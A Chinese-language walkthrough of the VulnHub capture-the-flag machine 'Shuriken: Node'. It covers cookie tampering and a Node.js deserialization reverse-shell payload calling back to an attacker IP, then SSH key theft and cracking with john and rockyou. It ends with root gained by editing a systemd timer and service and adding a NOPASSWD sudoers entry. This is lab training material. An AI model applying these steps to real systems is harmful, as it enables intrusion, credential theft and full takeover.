SHURIKEN: NODE 靶机渗透测试

SHURIKEN: NODE 靶机渗透测试观察到有 passwd bak 和 shadow bak 以及 ssh backup zip 但 passwd bak 和 shadow bak 无法打开 将 ssh backup zip 复制到 tmp 目录中 并发

大家好,欢迎来到IT知识分享网。

靶机链接:

Shuriken: Node ~ VulnHub

渗透工具:

Get Kali | Kali Linux

渗透流程

此处省去部署的过程

目标探测

nmap 192.168.56.0/24 

192.168.56.x是我的虚拟机所在的网段

SHURIKEN: NODE 靶机渗透测试

这个网段只有两台虚拟机,所以192.168.56.110就是要渗透的靶机。

这个靶机开放了http端口,尝试访问:
SHURIKEN: NODE 靶机渗透测试

这是一个静态的页面,有一个登录的入口,除此之外没别的信息了,其他的网页扫描工具也扫不出来什么东西。

打开f12开发工具,检查网站的cookie:
SHURIKEN: NODE 靶机渗透测试

发现刷新前后cookie相同,复制session值,对其进行URL解码后进行base64解码:
SHURIKEN: NODE 靶机渗透测试

CyberChef

得到:

{"username":"Guest","isGuest":true,"encoding": "utf-8"}

将内容修改再编码:

SHURIKEN: NODE 靶机渗透测试

替换原来的cookie,并刷新网站:
SHURIKEN: NODE 靶机渗透测试

发现标题被改变,推测可能存在漏洞

漏洞利用

大致思路就是利用了 Node.js 反序列化错误进行远程代码执行

首先利用脚本,填写攻击机ip和端口生成payload

Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course · GitHub

python3 nodejsshell.py 192.168.56.101 4444

SHURIKEN: NODE 靶机渗透测试

补全json

{"rce":"_$$ND_FUNC$$_function (){生成的payload放在这里}()"}

base64+URL编码:
SHURIKEN: NODE 靶机渗透测试

打开终端监听端口:

nc -lvnp 4444 

SHURIKEN: NODE 靶机渗透测试

成功反弹shell

转换为交互式界面:

python3 -c 'import pty;pty.spawn("/bin/bash")'

SHURIKEN: NODE 靶机渗透测试

提权

查看用户名,找到一个叫serv-adm 的用户:

SHURIKEN: NODE 靶机渗透测试

检查是否有可用的备份文件

cd /var ls -la

SHURIKEN: NODE 靶机渗透测试

进入backups文件夹

cd backups ls

SHURIKEN: NODE 靶机渗透测试

观察到有 passwd.bak 和 shadow.bak 以及 ssh-backup.zip,但passwd.bak和shadow.bak无法打开,将 ssh-backup.zip 复制到 /tmp 目录中,并发送给kali

cp /var/backups/ssh-backup.zip /tmp python3 -m http.server

kali接收:

http://192.168.56.110:8000/ssh-backup.zip

解压后得到一个私钥,对私钥进行解密:

ssh2john id_rsa > hash john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密钥密码:

shuriken1995@ 

SHURIKEN: NODE 靶机渗透测试

尝试登陆:

ssh -i id_rsa serv-adm@192.168.56.110 

输入密钥的密码,成功登录

SHURIKEN: NODE 靶机渗透测试

查看当前用户权限:

sudo -l

SHURIKEN: NODE 靶机渗透测试

发现两项特殊的服务,寻找并转到所在的位置:

locate shuriken-auto.timer

SHURIKEN: NODE 靶机渗透测试

编辑:

nano shuriken-auto.timer

发现每30分钟运行shuriken-job.service,这里将频率改成一分钟一次

SHURIKEN: NODE 靶机渗透测试

然后编辑shuriken-job.service,注释掉Type=oneshot,将执行的文件改为自己设定的文件

SHURIKEN: NODE 靶机渗透测试

设置自定义文件,修改sudoers权限:

nano test.sh

SHURIKEN: NODE 靶机渗透测试

保存,然后停止shuriken-auto.timer再执行shuriken-auto.timer,sudoers就可以被直接编辑,

/bin/systemctl stop shuriken-auto.timer /bin/systemctl start shuriken-auto.timer
nano /etc/sudoers

添加一句:

serv-adm ALL=(ALL) NOPASSWD: /bin/bash 

SHURIKEN: NODE 靶机渗透测试

保存退出,然后将sudoers的权限改回440:

SHURIKEN: NODE 靶机渗透测试

接下来就可以获取root权限:

sudo /bin/bash

SHURIKEN: NODE 靶机渗透测试

获取flag:
SHURIKEN: NODE 靶机渗透测试

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/148137.html

(0)
上一篇 2025-04-02 16:00
下一篇 2025-04-02 16:10

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信